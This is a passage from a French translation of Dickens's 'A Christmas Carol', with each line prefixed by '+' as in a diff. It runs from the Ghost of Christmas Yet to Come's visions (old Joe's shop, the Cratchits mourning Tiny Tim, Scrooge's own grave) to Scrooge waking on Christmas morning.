+vieil associé; du moins, la chose ne paraissait pas vraisemblable,
+car cette mort appartenait au passé, et le spectre avait pour
+département l'avenir: il ne voyait non plus personne de ses
+connaissances à qui il put les appliquer. Toutefois, ne doutant
+pas que, quelle que fût celle à qui il convenait d'en faire
+l'application, elles ne renfermassent une leçon secrète à son
+adresse, et pour son bien, il résolut de recueillir avec soin
+chacune des paroles qu'il entendrait et chacune des choses qu'il
+verrait, mais surtout d'observer attentivement sa propre image
+lorsqu'elle lui apparaîtrait, persuadé que la conduite de son
+futur lui-même lui donnerait la clef de cette énigme et en
+rendrait la solution facile. Il se chercha donc en ce lieu; mais
+un autre occupait sa place accoutumée, dans le coin qu'il
+affectionnait particulièrement, et, quoique l'horloge indiquât
+l'heure où il venait d'ordinaire à la Bourse, il ne vit personne
+qui lui ressemblât, parmi cette multitude qui se pressait sous le
+porche pour y entrer. Cela le surprit peu, néanmoins, car depuis
+ses premières visions il avait médité dans son esprit un
+changement de vie; il pensait, il espérait que son absence était
+une preuve qu'il avait mis ses nouvelles résolutions en pratique.
+
+Le fantôme se tenait à ses côtés, immobile, sombre, toujours le
+bras tendu. Quand Scrooge sortit de sa rêverie, il s'imagina, au
+mouvement de la main et d'après la position du spectre vis-à-vis
+de lui, que ses yeux invisibles le regardaient fixement. Cette
+pensée le fit frissonner de la tête aux pieds.
+
+Quittant le théâtre bruyant des affaires, ils allèrent dans un
+quartier obscur de la ville, où Scrooge n'avait pas encore
+pénétré, quoiqu'il en connût parfaitement les êtres et la mauvaise
+renommée. Les rues étaient sales et étroites, les boutiques et les
+maisons misérables, les habitants à demi nus, ivres, mal chaussés,
+hideux. Des allées et des passages sombres, comme autant d'égouts,
+vomissaient leurs odeurs repoussantes, leurs immondices et leurs
+ignobles habitants dans ce labyrinthe de rues; tout le quartier
+respirait le crime, l'ordure, la misère.
+
+Au fond de ce repaire infâme on voyait une boutique basse,
+s'avançant en saillie sous le toit d'un auvent, dans laquelle on
+achetait le fer, les vieux chiffons, les vieilles bouteilles, les
+os, les restes des assiettes du dîner d'hier au soir. Sur le
+plancher, à l'intérieur, étaient entassés des clefs rouillées, des
+clous, des chaînes, des gonds, des limes, des plateaux de
+balances, des poids et toute espèce de ferraille. Des mystères que
+peu de personnes eussent été curieuses d'approfondir s'agitaient
+peut-être sous ces monceaux de guenilles repoussantes, sous ces
+masses de graisse corrompue et ces sépulcres d'ossements. Assis au
+milieu des marchandises dont il trafiquait, près d'un réchaud de
+vieilles briques, un sale coquin, aux cheveux blanchis par l'âge
+(il avait près de soixante-dix ans), s'abritait contre l'air froid
+du dehors, au moyen d'un rideau crasseux, composé de lambeaux
+dépareillés suspendus à une ficelle, et fumait sa pipe en
+savourant avec délices la volupté de sa paisible solitude.
+
+Scrooge et le fantôme se trouvèrent en présence de cet homme, au
+moment précis où une femme, chargée d'un lourd paquet, se glissa
+dans la boutique. À peine y eut-elle mis les pieds, qu'une autre
+femme, chargée de la même manière, entra pareillement; cette
+dernière fut suivie de près par un homme vêtu d'un habit noir
+râpé, qui ne parut pas moins surpris de la vue des deux femmes
+qu'elles ne l'avaient été elles-mêmes en se reconnaissant l'une
+l'autre. Après quelques instants de stupéfaction muette partagée
+par l'homme à la pipe, ils se mirent à éclater de rire tous les
+trois.
+
+«Que la femme de journée passe la première, s'écria celle qui
+était entrée d'abord. La blanchisseuse viendra après elle, puis,
+en troisième lieu, l'homme des pompes funèbres. Eh bien! vieux
+Joe, dites donc, en voilà un hasard! Ne dirait-on pas que nous
+nous sommes donné ici rendez-vous tous les trois?
+
+-- Vous ne pouviez toujours pas mieux choisir la place, dit le
+vieux Joe ôtant sa pipe de sa bouche. Entrez au salon. Depuis
+longtemps vous y avez vos libres entrées, et les deux autres ne
+sont pas non plus des étrangers. Attendez que j'aie fermé la porte
+de la boutique. Ah! comme elle crie! je ne crois pas qu'il y ait
+ici de ferraille plus rouillée que ses gonds, comme il n'y a pas
+non plus, j'en suis bien sûr, d'os aussi vieux que les miens dans
+tout mon magasin. Ah! ah! nous sommes tous en harmonie avec notre
+condition, nous sommes bien assortis. Entrez au salon. Entrez.»
+
+Le salon était l'espace séparé de la boutique par le rideau de
+loques. Le vieux marchand remua le feu avec un barreau brisé
+provenant d'une rampe d'escalier, et, après avoir ravivé sa lampe
+fumeuse (car il faisait nuit) avec le tuyau de sa pipe, il le
+retint dans sa bouche.
+
+Pendant qu'il faisait ainsi les honneurs de son hospitalité, la
+femme qui avait déjà parlé jeta son paquet à terre, et s'assit,
+dans une pose nonchalante, sur un tabouret, croisant ses coudes
+sur ses genoux, et lançant aux deux autres comme un défi hardi.
+
+«Eh bien! quoi? Qu'y a-t-il donc? Qu'est-ce qu'il y a, mistress
+Dilber? dit-elle. Chacun a bien le droit de songer à soi, je
+pense. Est-ce qu'il a fait autre chose toute sa vie, _lui?_
+
+-- C'est vrai, par ma foi! fit la blanchisseuse. Personne plus que
+lui.
+
+-- Eh bien! alors, vous n'avez pas besoin de rester là à vous
+écarquiller les yeux comme si vous aviez peur, bonne femme: les
+loups ne se mangent pas, je suppose.
+
+-- Bien sûr! dirent en même temps mistress Dilber et le croque-
+mort. Nous l'espérons bien.
+
+-- En ce cas, s'écria la femme, tout est pour le mieux. Il n'y a
+pas besoin de chercher midi à quatorze heures. Et d'ailleurs,
+voyez le grand mal. À qui est-ce qu'on fait tort avec ces
+bagatelles? Ce n'est pas au mort, je suppose?
+
+-- Ma foi, non, dit mistress Dilber en riant.
+
+-- S'il voulait les conserver après sa mort, le vieux grigou,
+poursuivit la femme, pourquoi n'a-t-il pas fait comme tout le
+monde? Il n'avait qu'à prendre une garde pour le veiller quand la
+mort est venue le frapper, au lieu de rester là à rendre le
+dernier soupir dans son coin, tout seul comme un chien.
+
+-- C'est bien la pure vérité, dit Mme Dilber. Il n'a que ce qu'il
+mérite.
+
+-- Je voudrais bien qu'il n'en fût pas quitte à si bon marché,
+reprit la femme; et il en serait autrement, vous pouvez vous en
+rapporter à moi, si j'avais pu mettre les mains sur quelque autre
+chose. Ouvrez ce paquet, vieux Joe, et voyons ce que cela vaut.
+Parlez franchement. Je n'ai pas peur de passer la première; je ne
+crains pas qu'ils le voient. Nous savions très bien, je crois,
+avant de nous rencontrer ici, que nous faisions nos petites
+affaires. Il n'y a pas de mal à cela. Ouvrez le paquet, Joe.»
+
+Mais il y eut assaut de politesse. Ses amis, par délicatesse, ne
+voulurent pas le permettre, et l'homme à l'habit noir râpé,
+montant le premier sur la brèche, produisit son butin. Il n'était
+pas considérable: un cachet ou deux, un porte-crayon, deux boutons
+de manche et une épingle de peu de valeur, voilà tout. Chacun de
+ces objets fut examiné en particulier et prisé par le vieux Joe,
+qui marqua sur le mur avec de la craie les sommes qu'il était
+disposé à en donner, et additionna le total quand il vit qu'il n'y
+avait plus d'autre article.
+
+«Voilà votre compte, dit-il, et je ne donnerais pas six pence de
+plus quand on devrait me faire rôtir à petit feu. Qui vient
+après?»
+
+C'était le tour de mistress Dilber. Elle déploya des draps, des
+serviettes, un habit, deux cuillers à thé en argent, forme
+antique, une pince à sucre et quelques bottes. Son compte lui fut
+fait sur le mur de la même manière.
+
+«Je donne toujours trop aux dames. C'est une de mes faiblesses, et
+c'est ainsi que je me ruine, dit le vieux Joe. Voilà votre compte.
+Si vous me demandez un penny de plus et que vous marchandiez là-
+dessus, je pourrai bien me raviser et rabattre un écu sur la
+générosité de mon premier instinct.
+
+-- Et maintenant, Joe, défaites mon paquet», dit la première
+femme.
+
+Joe se mit à genoux pour plus de facilité, et, après avoir défait
+une grande quantité de noeuds, il tira du paquet une grosse et
+lourde pièce d'étoffe sombre.
+
+«Quel nom donnez-vous à cela? dit-il. Des rideaux de lit?
+
+-- Oui! répondit la femme en riant et en se penchant sur ses bras
+croisés. Des rideaux de lit!
+
+-- Il n'est pas Dieu possible que vous les ayez enlevés, anneaux
+et tout, pendant qu'il était encore là sur son lit? demanda Joe.
+
+-- Que si, reprit la femme, et pourquoi pas?
+
+-- Allons, vous étiez née pour faire fortune, dit Joe, et fortune
+vous ferez.
+
+-- Certainement je ne retirerai pas la main quand je pourrai la
+mettre sur quelque chose, par égard pour un homme pareil, je vous
+en réponds, Joe, dit la femme avec le plus grand sang-froid. Ne
+laissez pas tomber de l'huile sur les couvertures, maintenant.
+
+-- Ses couvertures, à lui? demanda Joe.
+
+-- Et à qui donc? répondit la femme. N'avez-vous pas peur qu'il
+s'enrhume pour n'en pas avoir?
+
+-- Ah çà! j'espère toujours qu'il n'est pas mort de quelque
+maladie contagieuse, hein? dit le vieux Joe, s'arrêtant dans son
+examen et levant la tête.
+
+-- N'ayez pas peur, Joe, je n'étais pas tellement folle de sa
+société, que je fusse restée auprès de lui pour de semblables
+misères, s'il y avait eu le moindre danger... Oh! vous pouvez
+examiner cette chemise jusqu'à ce que les yeux vous en crèvent,
+vous n'y trouverez pas le plus petit trou; elle n'est pas même
+élimée: c'était bien sa meilleure, et de fait elle n'est pas
+mauvaise. C'est bien heureux que je me sois trouvée là; sans moi,
+on l'aurait perdue.
+
+-- Qu'appelez-vous perdue? demanda le vieux Joe.
+
+-- On l'aurait enseveli avec, pour sûr, reprit-elle en riant.
+Croiriez-vous qu'il y avait déjà eu quelqu'un d'assez sot pour le
+faire; mais je la lui ai ôtée bien vite. Si le calicot n'est pas
+assez bon pour cette besogne, je ne vois guère à quoi il peut
+servir. C'est très bon pour couvrir un corps; et, quant à
+l'élégance, le bonhomme ne sera pas plus laid dans une chemise de
+calicot qu'il ne l'était avec sa chemise de toile, c'est
+impossible.»
+
+Scrooge écoutait ce dialogue avec horreur. Tous ces gens-là, assis
+ou plutôt accroupis autour de leur proie, serrés les uns contre
+les autres, à la faible lueur de la lampe du vieillard, lui
+causaient un sentiment de haine et de dégoût aussi prononcé que
+s'il eût vu d'obscènes démons occupés à marchander le cadavre lui-
+même.
+
+«Ah! ah! continua en riant la même femme lorsque le vieux Joe,
+tirant un sac de flanelle rempli d'argent, compta à chacun, sur le
+plancher, la somme qui lui revenait pour sa part. Voilà bien le
+meilleur, voyez-vous! Il n'a, de son vivant, effrayé tout le
+monde, et tenu chacun loin de lui que pour nous assurer des
+profits après sa mort. Ah! ah! ah!
+
+-- Esprit! dit Scrooge frissonnant de la tête aux pieds. Je
+comprends, je comprends. Le sort de cet infortuné pourrait être le
+mien. C'est là que mène une vie comme la mienne... Seigneur
+miséricordieux, qu'est-ce que je vois?»
+
+Il recula de terreur, car la scène avait changé, et il touchait
+presque un lit, un lit nu, sans rideaux, sur lequel, recouvert
+d'un drap déchiré, reposait quelque chose dont le silence même
+révélait la nature en un terrible langage.
+
+La chambre était très sombre, trop sombre pour qu'on pût remarquer
+avec exactitude ce qui s'y trouvait, bien que Scrooge, obéissant à
+une impulsion secrète, promenât ses regards curieux, inquiet de
+savoir ce que c'était que cette chambre. Une pâle lumière, venant
+du dehors, tombait directement sur le lit où gisait le cadavre de
+cet homme dépouillé, volé, abandonné de tout le monde, auprès
+duquel personne ne pleurait, personne ne veillait.
+
+Scrooge jeta les yeux sur le fantôme, dont la main fatale lui
+montrait la tête du mort. Le linceul avait été jeté avec tant de
+négligence, qu'il aurait suffi du plus léger mouvement de son
+doigt pour mettre à nu ce visage. Scrooge y songea; il voyait
+combien c'était facile, il éprouvait le désir de le faire, mais il
+n'avait pas plus la force d'écarter ce voile que de renvoyer le
+spectre, qui se tenait debout à ses côtés.
+
+«Oh! froide, froide, affreuse, épouvantable mort! Tu peux dresser
+ici ton autel et l'entourer de toutes les terreurs dont tu
+disposes; car tu es bien là dans ton domaine! Mais, quand c'est
+une tête aimée, respectée et honorée, tu ne peux faire servir un
+seul de ses cheveux à tes terribles desseins, ni rendre odieux un
+de ses traits. Ce n'est pas qu'alors la main ne devienne pesante
+aussi, et ne retombe si je l'abandonne; ce n'est pas que le coeur
+et le pouls ne soient silencieux; mais cette main, elle fut
+autrefois ouverte, généreuse, loyale; ce coeur fut brave, chaud,
+honnête et tendre: c'était un vrai coeur d'homme qui battait là
+dans sa poitrine. Frappe, frappe, mort impitoyable! tes coups sont
+vains. Tu vas voir jaillir de sa blessure ses bonnes actions,
+l'honneur de sa vie éphémère, la semence de sa vie immortelle!»
+
+Aucune voix ne prononça ces paroles aux oreilles de Scrooge, il
+les entendit cependant lorsqu'il regarda le lit. «Si cet homme
+pouvait revivre, pensait-il, que dirait-il à présent de ses
+pensées d'autrefois? L'avarice, la dureté de coeur, l'âpreté au
+gain, ces pensées-là, vraiment, l'ont conduit à une belle fin! Il
+est là, gisant dans cette maison déserte et sombre, où il n'y a ni
+homme, ni femme, ni enfant, qui puisse dire: Il fut bon pour moi
+dans telle ou telle circonstance, et je serai bon pour lui, à mon
+tour, en souvenir d'une parole bienveillante.» Seulement un chat
+grattait à la porte, et, sous la pierre du foyer, on entendait un
+bruit de rats qui rongeaient quelque chose. Que venaient-ils
+chercher dans cette chambre mortuaire? Pourquoi étaient-ils si
+avides, si turbulents? Scrooge n'osa y penser.
+
+«Esprit, dit-il, ce lieu est affreux. En le quittant, je
+n'oublierai pas la leçon qu'il me donne, croyez-moi. Partons!»
+
+Le spectre, de son doigt immobile, lui montrait toujours la tête
+du cadavre.
+
+«Je vous comprends, répondit Scrooge, et je le ferais si je
+pouvais. Mais je n'en ai pas la force; esprit, je n'en ai pas la
+force.»
+
+Le fantôme parut encore le regarder avec une attention plus
+marquée.
+
+«S'il y a quelqu'un dans la ville qui ressente une émotion pénible
+par suite de la mort de cet homme, dit Scrooge en proie aux
+angoisses de l'agonie, montrez-moi cette personne, esprit, je vous
+en conjure.»
+
+Le fantôme étendit un moment sa sombre robe devant lui comme une
+aile, puis, la repliant, lui fit voir une chambre éclairée par la
+lumière du jour, où se trouvaient une mère et ses enfants.
+
+Elle attendait quelqu'un avec une impatience inquiète; car elle
+allait et venait dans sa chambre, tressaillait au moindre bruit,
+regardait par la fenêtre, jetait les yeux sur la pendule,
+essayait, mais en vain, de recourir à son aiguille, et pouvait à
+peine supporter les voix des enfants dans leurs jeux.
+
+Enfin retentit à la porte le coup de marteau si longtemps attendu.
+Elle courut ouvrir: c'était son mari, homme jeune encore, au
+visage abattu, flétri par le chagrin; on y voyait pourtant en ce
+moment une expression remarquable, une sorte de plaisir triste
+dont il avait honte et qu'il s'efforçait de réprimer.
+
+Il s'assit pour manger le dîner que sa femme avait tenu chaud près
+du feu, et quand elle lui demanda d'une voix faible: «Quelles
+nouvelles?» (ce qu'elle ne fit qu'après un long silence), il parut
+embarrassé de répondre.
+
+«Sont-elles bonnes ou mauvaises? dit-elle pour l'aider.
+
+-- Mauvaises, répondit-il.
+
+-- Sommes-nous tout à fait ruinés?
+
+-- Non, Caroline. Il y a encore de l'espoir.
+
+-- S'_il_ se laisse toucher, dit-elle toute surprise; après un tel
+miracle, on pourrait tout espérer, sans doute.
+
+-- Il ne peut plus se laisser toucher, dit le mari; il est mort.»
+
+C'était une créature douce et patiente que cette femme. On le
+voyait rien qu'à sa figure, et cependant elle ne put s'empêcher de
+bénir Dieu au fond de son âme à cette annonce imprévue, ni de le
+dire en joignant les mains. L'instant d'après, elle demanda pardon
+au ciel, car elle en avait regret; mais le premier mouvement
+partait du coeur.
+
+«Ce que cette femme à moitié ivre, dont je vous ai parlé hier
+soir, m'a dit, quand j'ai essayé de le voir pour obtenir de lui
+une semaine de délai, et ce que je regardais comme une défaite
+pour m'éviter est la vérité pure; non seulement il était déjà fort
+malade, mais il était mourant.
+
+-- À qui sera transférée notre dette?
+
+-- Je l'ignore. Mais, avant ce temps, nous aurons la somme, et,
+lors même que nous ne serions pas prêts, ce serait jouer de
+malheur si nous trouvions dans son successeur un créancier aussi
+impitoyable. Nous pouvons dormir cette nuit plus tranquilles,
+Caroline!»
+
+Oui, malgré eux, leurs coeurs étaient débarrassés d'un poids bien
+lourd. Les visages des enfants groupés autour d'eux, afin
+d'écouter une conversation qu'ils comprenaient si peu, étaient
+plus ouverts et animés d'une joie plus vive; la mort de cet homme
+rendait un peu de bonheur à une famille! La seule émotion causée
+par cet événement, dont le spectre venait de rendre Scrooge
+témoin, était une émotion de plaisir.
+
+«Esprit, dit Scrooge, faites-moi voir quelque scène de tendresse
+étroitement liée avec l'idée de la mort; sinon cette chambre
+sombre, que nous avons quittée tout à l'heure, sera toujours
+présente à mon souvenir.»
+
+Le fantôme le conduisit au travers de plusieurs rues qui lui
+étaient familières; à mesure qu'ils marchaient, Scrooge regardait
+de côté et d'autre dans l'espoir de retrouver son image, mais
+nulle part il ne pouvait la voir. Ils entrèrent dans la maison du
+pauvre Bob Cratchit, cette même maison que Scrooge avait visitée
+précédemment, et trouvèrent la mère et les enfants assis autour du
+feu.
+
+Ils étaient calmes, très calmes. Les bruyants petits Cratchit se
+tenaient dans un coin aussi tranquilles que des statues, et
+demeuraient assis, les yeux fixés sur Pierre, qui avait un livre
+ouvert devant lui. La mère et ses filles s'occupaient à coudre.
+Toute la famille était bien tranquille assurément!
+
+_«Et il prit un enfant, et il le mit au milieu d'eux.»_
+
+Où Scrooge avait-il entendu ces paroles? Il ne les avait pas
+rêvées. Il fallait bien que ce fut l'enfant qui les avait lues à
+haute voix, quand Scrooge et l'esprit franchissaient le seuil de
+la porte. Pourquoi interrompait-il sa lecture?
+
+La mère posa son ouvrage sur la table et se couvrit le visage de
+ses mains.
+
+«La couleur de cette étoffe me fait mal aux yeux, dit-elle.
+
+-- La couleur? Ah! pauvre Tiny Tim!
+
+-- Ils sont mieux maintenant, dit la femme de Cratchit. C'est sans
+doute de travailler à la lumière qui les fatigue, mais je ne
+voudrais pour rien au monde laisser voir à votre père, quand il
+rentrera, que mes yeux sont fatigués. Il ne doit pas tarder, c'est
+bientôt l'heure.
+
+-- L'heure est passée, répondit Pierre en fermant le livre. Mais
+je trouve qu'il va un peu moins vite depuis quelques soirs, ma
+mère.»
+
+La famille retomba dans son silence et son immobilité. Enfin, la
+mère reprit d'une voix ferme, dont le ton de gaieté ne faiblit
+qu'une fois:
+
+«J'ai vu un temps où il allait vite, très vite même, avec... avec
+Tiny Tim sur son épaule.
+
+-- Et moi aussi, s'écria Pierre; souvent.
+
+-- Et moi aussi,» s'écria un autre.
+
+Tous répétèrent:
+
+«Et moi aussi.
+
+-- Mais Tiny Tim était très léger à porter, reprit la mère en
+retournant à son ouvrage; et puis son père l'aimait tant que ce
+n'était pas pour lui une peine... oh! non. Mais j'entends votre
+père à la porte!»
+
+Elle courut au-devant de lui. Le petit Bob entra avec son cache-
+nez; il en avait bien besoin, le pauvre père. Son thé était tout
+prêt contre le feu, c'était à qui s'empresserait pour le servir.
+Alors les deux petits Cratchit grimpèrent sur ses genoux, et
+chacun d'eux posa sa petite joue contre les siennes, comme pour
+lui dire: «N'y pensez plus, mon père; ne vous chagrinez pas!»
+
+Bob fut très gai avec eux, il eut pour tout le monde une bonne
+parole: il regarda l'ouvrage étalé sur la table et donna des
+éloges à l'adresse et à l'habileté de mistress Cratchit et de ses
+filles. «Ce sera fini longtemps avant dimanche, dit-il.
+
+-- Dimanche! Vous y êtes donc allé aujourd'hui, Robert? demanda sa
+femme.
+
+-- Oui, ma chère, répondit Bob. J'aurais voulu que vous eussiez pu
+y venir: cela vous aurait fait du bien de voir comme l'emplacement
+est vert. Mais vous irez le voir souvent. Je lui avais promis que
+j'irais m'y promener un dimanche... Mon petit, mon petit enfant!
+s'écria Bob! Mon cher petit enfant!»
+
+Il éclata tout à coup, sans pouvoir s'en empêcher. Pour qu'il pût
+s'en empêcher, il n'aurait pas fallu qu'il se sentit encore si
+près de son enfant.
+
+Il quitta la chambre et monta dans celle de l'étage supérieur,
+joyeusement éclairée et parée de guirlandes comme à Noël. Il y
+avait une chaise placée tout contre le lit de l'enfant, et l'on
+voyait à des signes certains que quelqu'un était venu récemment
+l'occuper. Le pauvre Bob s'y assit à son tour; et, quand il se fut
+un peu recueilli, un peu calmé, il déposa un baiser sur ce cher
+petit visage. Alors il se montra plus résigné à ce cruel
+événement, et redescendit presque heureux... en apparence.
+
+La famille se rapprocha du feu en causant; les jeunes filles et
+leur mère travaillaient toujours. Bob leur parla de la
+bienveillance extraordinaire que lui avait témoignée le neveu de
+M. Scrooge, qu'il avait vu une fois à peine, et qui, le
+rencontrant ce jour-là dans la rue et le voyant un peu... un peu
+abattu, vous savez, dit Bob, s'était informé avec intérêt de ce
+qui lui arrivait de fâcheux. Sur quoi, poursuivit Bob, car c'est
+bien le monsieur le plus affable qu'il soit possible de voir, je
+lui ai tout raconté. -- Je suis sincèrement affligé de ce que vous
+m'apprenez, monsieur Cratchit, dit-il, pour vous et pour votre
+excellente femme. À propos, comment a-t-il pu savoir cela, je
+l'ignore absolument.
+
+-- Savoir quoi, mon ami?
+
+-- Que vous étiez une excellente femme.
+
+-- Mais tout le monde ne le sait-il pas? dit Pierre.
+
+-- Très bien répliqué, mon garçon! s'écria Bob. J'espère que tout
+le monde le sait. «Sincèrement affligé, disait-il, pour votre
+excellente femme; si je puis vous être utile en quelque chose,
+ajouta-t-il en me remettant sa carte, voici mon adresse. Je vous
+en prie, venez me voir.» Eh bien! j'en ai été charmé, non pas tant
+pour ce qu'il serait en état de faire en notre faveur, que pour
+ses manières pleines de bienveillance. On aurait dit qu'il avait
+réellement connu notre Tiny Tim, et qu'il le regrettait comme
+nous.
+
+-- Je suis sûre qu'il a un bon coeur, dit mistress Cratchit.
+
+-- Vous en seriez bien plus sûre, ma chère amie, reprit Bob, si
+vous l'aviez vu et que vous lui eussiez parlé. Je ne serais pas du
+tout surpris, remarquez ceci, qu'il trouvât une meilleure place à
+Pierre.
+
+-- Entendez-vous, Pierre? dit mistress Cratchit.
+
+-- Et alors, s'écria une des jeunes filles, Pierre se mariera et
+s'établira pour son compte.
+
+-- Allez vous promener, repartit Pierre en faisant une grimace.
+
+-- Dame! cela peut être ou ne pas être, l'un n'est pas plus sûr
+que l'autre, dit Bob. La chose peut arriver un de ces jours,
+quoique nous ayons, mon enfant, tout le temps d'y penser. Mais, de
+quelque manière et dans quelque temps que nous nous séparions les
+uns des autres, je suis sûr que pas un de nous n'oubliera le
+pauvre Tiny Tim; n'est-ce pas, nous n'oublierons jamais cette
+première séparation?
+
+-- Jamais, mon père, s'écrièrent-ils tous ensemble.
+
+-- Et je sais, dit Bob, je sais, mes amis, que, quand nous nous
+rappellerons combien il fut doux et patient, quoique ce ne fût
+qu'un tout petit, tout petit enfant, nous n'aurons pas de
+querelles les uns avec les autres, car ce serait oublier le pauvre
+Tiny Tim.
+
+-- Non, jamais, mon père! répétèrent-ils tous.
+
+-- Vous me rendez bien heureux, dit le petit Bob, oui, bien
+heureux!»
+
+Mistress Cratchit l'embrassa, ses filles l'embrassèrent, les deux
+petits Cratchit l'embrassèrent, Pierre et lui se serrèrent
+tendrement la main. Âme de Tiny Tim, dans ton essence enfantine tu
+étais une émanation de la divinité!
+
+«Spectre, dit Scrooge, quelque chose me dit que l'heure de notre
+séparation approche. Je le sais, sans savoir comment elle aura
+lieu. Dites-moi quel était donc cet homme que nous avons vu gisant
+sur son lit de mort?»
+
+Le fantôme de Noël futur le transporta, comme auparavant (quoique
+à une époque différente, pensait-il, car ces dernières visions se
+brouillaient un peu dans son esprit; ce qu'il y voyait de plus
+clair, c'est qu'elles se rapportaient à l'avenir), dans les lieux
+où se réunissent les gens d'affaires et les négociants, mais sans
+lui montrer son autre lui-même. À la vérité, l'esprit ne s'arrêta
+nulle part, mais continua sa course directement, comme pour
+atteindre plus vite au but, jusqu'à ce que Scrooge le supplia de
+s'arrêter un instant.
+
+«Cette cour, dit-il, que nous traversons si vite, est depuis
+longtemps le lieu où j'ai établi le centre de mes occupations.
+
+Je reconnais la maison; laissez-moi voir ce que je serai un jour.»
+
+L'esprit s'arrêta; sa main désignait un autre point.
+
+«Voici la maison là-bas, s'écria Scrooge. Pourquoi me faites-vous
+signe d'aller plus loin?»
+
+L'inexorable doigt ne changeait pas de direction. Scrooge courut à
+la hâte vers la fenêtre de son comptoir et regarda dans
+l'intérieur. C'était encore un comptoir, mais non plus le sien.
+L'ameublement n'était pas le même, la personne assise dans le
+fauteuil n'était pas lui. Le fantôme faisait toujours le geste
+indicateur.
+
+Scrooge le rejoignit, et, tout en se demandant pourquoi il ne se
+voyait pas là et ce qu'il pouvait être devenu, il suivit son guide
+jusqu'à une grille de fer. Avant d'entrer, il s'arrêta pour
+regarder autour de lui.
+
+Un cimetière. Ici, sans doute, gît sous quelques pieds de terre le
+malheureux dont il allait apprendre le nom. C'était un bien bel
+endroit, ma foi! environné de longues murailles, de maisons
+voisines, envahi par le gazon et les herbes sauvages, plutôt la
+mort de la végétation que la vie, encombré du trop-plein des
+sépultures, engraissé jusqu'au dégoût. Oh! le bel endroit!
+
+L'esprit, debout au milieu des tombeaux, en désigna un. Scrooge
+s'en approcha en tremblant. Le fantôme était toujours exactement
+le même, mais Scrooge crut reconnaître dans sa forme solennelle
+quelque augure nouveau dont il eut peur.
+
+«Avant que je fasse un pas de plus vers cette pierre que vous me
+montrez, lui dit-il, répondez à cette seule question:
+
+Tout ceci, est-ce l'image de ce qui doit être, ou seulement de ce
+qui peut être?»
+
+L'esprit, pour toute réponse, abaissa sa main du côté de la tombe
+près de laquelle il se tenait.
+
+«Quand les hommes s'engagent dans quelques résolutions, elles leur
+annoncent certain but qui peut être inévitable, s'ils persévèrent
+dans leur voie. Mais, s'ils la quittent, le but change; en est-il
+de même des tableaux que vous faites passer sous mes yeux?»
+
+Et l'esprit demeura immobile comme toujours. Scrooge se traîna
+vers le tombeau, tremblant de frayeur, et, suivant la direction du
+doigt, lut sur la pierre d'une sépulture abandonnée son propre
+nom:
+
+EBENEZER SCROOGE
+
+«C'est donc moi qui suis l'homme que j'ai vu gisant sur son lit de
+mort?» s'écria-t-il, tombant à genoux.
+
+Le doigt du fantôme se dirigea alternativement de la tombe à lui
+et de lui à la tombe.
+
+«Non, esprit! oh! non, non!»
+
+Le doigt était toujours là.
+
+«Esprit, s'écria-t-il en se cramponnant à sa robe, écoutez-moi! je
+ne suis plus l'homme que j'étais; je ne serai plus l'homme que
+j'aurais été si je n'avais pas eu le bonheur de vous connaître.
+Pourquoi me montrer toutes ces choses, s'il n'y a plus aucun
+espoir pour moi?»
+
+Pour la première fois, la main parut faire un mouvement.
+
+«Bon esprit, poursuivit Scrooge toujours prosterné à ses pieds, la
+face contre terre, vous intercéderez pour moi, vous aurez pitié de
+moi. Assurez-moi que je puis encore changer ces images que vous
+m'avez montrées, en changeant de vie!»
+
+La main s'agita avec un geste bienveillant.
+
+«J'honorerai Noël au fond de mon coeur, et je m'efforcerai d'en
+conserver le culte toute l'année. Je vivrai dans le passé, le
+présent et l'avenir; les trois esprits ne me quitteront plus, car
+je ne veux pas oublier leurs leçons. Oh! dites-moi que je puis
+faire disparaître l'inscription de cette pierre!»
+
+Dans son angoisse, il saisit la main du spectre. Elle voulut se
+dégager, mais il la retint par une puissante étreinte. Toutefois
+l'esprit, plus fort, encore cette fois, le repoussa.
+
+Levant les mains dans une dernière prière, afin d'obtenir du
+spectre qu'il changeât sa destinée, Scrooge aperçut une altération
+dans la robe à capuchon de l'esprit qui diminua de taille,
+s'affaissa sur lui-même et se transforma en colonne de lit.
+
+
+
+
+Cinquième couplet
+
+La conclusion
+
+C'était une colonne de lit.
+
+Oui; et de son lit encore et dans sa chambre, bien mieux. Le
+lendemain lui appartenait pour s'amender et réformer sa vie!
+
+«Je veux vivre dans le passé, le présent et l'avenir! répéta
+Scrooge en sautant à bas du lit. Les leçons des trois esprits
+demeureront gravées dans ma mémoire. Ô Jacob Marley! que le ciel
+et la fête de Noël soient bénis de leurs bienfaits! Je le dis à
+genoux, vieux Jacob, oui, à genoux.»
+
+Il était si animé, si échauffé par de bonnes résolutions, que sa
+voix brisée répondait à peine au sentiment qui l'inspirait. Il
+avait sangloté violemment dans sa lutte avec l'esprit, et son
+visage était inondé de larmes.
+
+«Ils ne sont pas arrachés, s'écria Scrooge embrassant un des
+rideaux de son lit, ils ne sont pas arrachés, ni les anneaux non
+plus. Ils sont ici, je suis ici; les images des choses qui
+auraient pu se réaliser peuvent s'évanouir; elles s'évanouiront,
+je le sais!»
+
+Cependant ses mains étaient occupées à brouiller ses vêtements; il
+les mettait à l'envers, les retournait sens dessus dessous, le bas
+en haut et le haut en bas; dans son trouble, il les déchirait, les
+laissait tomber à terre, les rendait enfin complices de toutes
+sortes d'extravagances.
+
+«Je ne sais pas ce que fais! s'écria-t-il riant et pleurant à la
+fois, et se posant avec ses bas en copie parfaite du Laocoon
+antique et de ses serpents. Je suis léger comme une plume; je suis
+heureux comme un ange, gai comme un écolier, étourdi comme un
+homme ivre. Un joyeux Noël à tout le monde! une bonne, une
+heureuse année à tous! Holà! hé! ho! holà!»
+
+Il avait passé en gambadant de sa chambre dans le salon, et se
+trouvait là maintenant, tout hors d'haleine.
+
+«Voilà bien la casserole où était l'eau de gruau! s'écria-t-il en
+s'élançant de nouveau et recommençant ses cabrioles devant la
+cheminée. Voilà la porte par laquelle est entré le spectre de
+Marley! voilà le coin où était assis l'esprit de Noël présent!
+voilà la fenêtre où j'ai vu les âmes en peine: tout est à sa
+place, tout est vrai, tout est arrivé... Ah! ah! ah!»
+
+Réellement, pour un homme qui n'avait pas pratiqué depuis tant
+d'années, c'était un rire splendide, un des rires les plus
+magnifiques, le père d'une longue, longue lignée de rires
+éclatants!
+
+«Je ne sais quel jour du mois nous sommes aujourd'hui! continua
+Scrooge. Je ne sais combien de temps je suis demeuré parmi les
+esprits. Je ne sais rien: je suis comme un petit enfant. Cela
+m'est bien égal. Je voudrais bien l'être, un petit enfant. Hé!
+holà! houp! holà! hé!»
+
+Il fut interrompu dans ses transports par les cloches des églises
+qui sonnaient le carillon le plus folichon qu'il eût jamais
